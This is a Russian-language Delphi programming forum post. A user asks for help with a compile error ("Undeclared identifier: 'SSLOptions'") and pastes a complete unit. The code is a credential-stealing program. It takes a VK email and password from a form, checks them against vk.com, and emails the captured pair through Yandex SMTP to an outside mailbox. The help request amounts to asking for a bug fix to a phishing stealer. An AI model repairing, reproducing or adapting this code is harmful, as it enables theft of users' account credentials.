
01.02.2016, 17:05
|
Прохожий
|
|
Регистрация: 01.02.2016
Сообщения: 4
Версия Delphi: Delphi 7
Репутация: 10
|
|
Undeclared identifier: 'SSLOptions'
WTF?
Цитата:
[Error] Unit1.pas(60): Undeclared identifier: 'SSLOptions'
[Error] Unit1.pas(60): Missing operator or semicolon
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
|
Код:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, jpeg, StdCtrls, ExtCtrls, IdAntiFreezeBase, IdAntiFreeze,
IdMessage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, IdSocks, IdIOHandler, IdIOHandlerSocket, IdHTTP,
IdSSLOpenSSL, IdServerIOHandler, IdServerIOHandlerSocket;
type
TForm1 = class(TForm)
img1: TImage;
edt1: TEdit;
edt2: TEdit;
btn1: TButton;
btn2: TButton;
img2: TImage;
idsmtp1: TIdSMTP;
idmsg1: TIdMessage;
idntfrz1: TIdAntiFreeze;
idhtp1: TIdHTTP;
idscksnf1: TIdSocksInfo;
img3: TImage;
idslhndlrsckt1: TIdSSLIOHandlerSocket;
img4: TImage;
img5: TImage;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.btn1Click(Sender: TObject);
var
data:string;
begin
data:=idhtp1.Get('http://vk.com/login.php?email='+edt1.text+'&pass='+edt2.Text);
if pos('<title>Титл</title>',data) > 0 then begin
ShowMessage('-');
end else begin
idscksnf1.Authentication:= saNoAuthentication;
idscksnf1.Port:=465;// 25 уже не работает, да?
idscksnf1.Version:=svNoSocks;
idslhndlrsckt1.SocksInfo:= idscksnf1;
idSmtp1.IOHandler:= idslhndlrsckt1;
idslhndlrsckt1.SocksInfo:=idscksnf1;
idSmtp1.AuthenticationType:=atLogin;
idSmtp1.SSLOptions. Method:=sslvTLSv1; //ошибка
idSmtp1.Host:='smtp.yandex.ru';
idSmtp1.Port:=465;
idSmtp1.Username:='lol@yandex.ru';
idSmtp1.Password:='lol12345';
idmsg1.Body.Text:=#10#13+edt1.Text+';'+edt2.Text;
idmsg1.From.Text:='lol@yandex.ru';
idmsg1.Recipients.EMailAddresses:='lol@spaces.ru';
idmsg1.Subject:='lol';
idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idmsg1);
idSmtp1.Disconnect;
end;
end;
end.
P.S. В папке со скомпилированой прогой лежат libeay32 и ssleay32 dll.
|